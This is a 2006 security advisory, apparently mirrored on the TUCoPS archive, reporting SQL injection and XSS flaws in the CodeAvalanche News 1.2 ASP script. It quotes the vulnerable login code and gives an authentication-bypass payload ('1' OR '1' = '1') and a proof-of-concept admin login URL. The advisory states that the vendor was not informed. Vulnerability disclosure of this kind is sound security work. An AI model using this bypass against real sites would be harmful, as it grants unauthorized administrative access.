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TUCoPS :: Web :: Apps :: b06-2375.htm

CANews Multiple Vulnerabilities



CANews Multiple Vulnerabilities
CANews Multiple Vulnerabilities



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            - CANews Remote Multiple Vulnerability -=0D
-= http://colander.altervista.org/advisory/CANews.txt =-=0D 
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	    -= CodeAvalanche News Version 1.2 =-=0D
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Omnipresent=0D
May 18, 2006=0D
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Vunerability(s):=0D
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SQL Injection=0D
XSS Attack=0D
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Product:=0D
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CodeAvalanche News Version 1.2=0D
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Vendor:=0D
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http://www.truecontent.info/codeavalanche/asp-news-publishing-script.php=0D 
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Description of product:=0D
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CodeAvalanche News is asp application which allows webmasters to easy add news page to their website.=0D
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Resource Specification=0D
Platform(s): 	windows=0D
Date Added: 	Mar 8, 2005=0D
Last Updated: 	May 5, 2006=0D
Author: 	xfairguy=0D
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Vulnerability / Exploit:=0D
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In [path_of_appl.]\admin directory, there is the file default.asp and it contain a vulnerable code; because the variable =0D
Password is not properly sanitized. =0D
A malicious people can Inject SQL code by Password variable.=0D
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Let's look the source code, to understand the problem:=0D
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[default.asp]=0D
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[...]=0D
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userLogged=false=0D
If Request("Password")<>"" Then =0D
'response.Write(Request("Password")) =0D
'response.flush=0D
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dim rsUser,selectSQL=0D
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"=0D
a' OR 'a' = 'a=0D
'response.Write(selectSQL) =0D
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set rsUser = Server.CreateObject("ADODB.Recordset")=0D
rsUser.ActiveConnection =connStr=0D
rsUser.Source = selectSQL=0D
rsUser.CursorType = 3=0D
rsUser.CursorLocation = 2=0D
rsUser.LockType = 3=0D
rsUser.Open()=0D
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[...]=0D
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[End default.asp]=0D
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As you can see the problem is in the string selectSQL. The input passed by the variable Password is not properly sanitized so=0D
an attacker can Inject arbitrary SQL code. Look this example:=0D
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If the variable Password is : 1' OR '1' = '1=0D
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The selectSQL string looks like:=0D
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selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'=0D
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And you can gain access to the application with admin rights.=0D
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- XSS Attack Explaination - =0D
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There is also an XSS bug in this application.=0D
If you put in add_news.asp in the field Headline a script like:=0D
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You can see the alert message "XSS Attack"=0D
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PoC / Proof of Concept of SQL Injection:=0D
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An attacker can go to this URL:=0D
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http://127.0.0.1/[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login=0D 
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Vendor Status=0D
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Not informed!=0D
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Credits:=0D
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omnipresent=0D
omnipresent@email.it 


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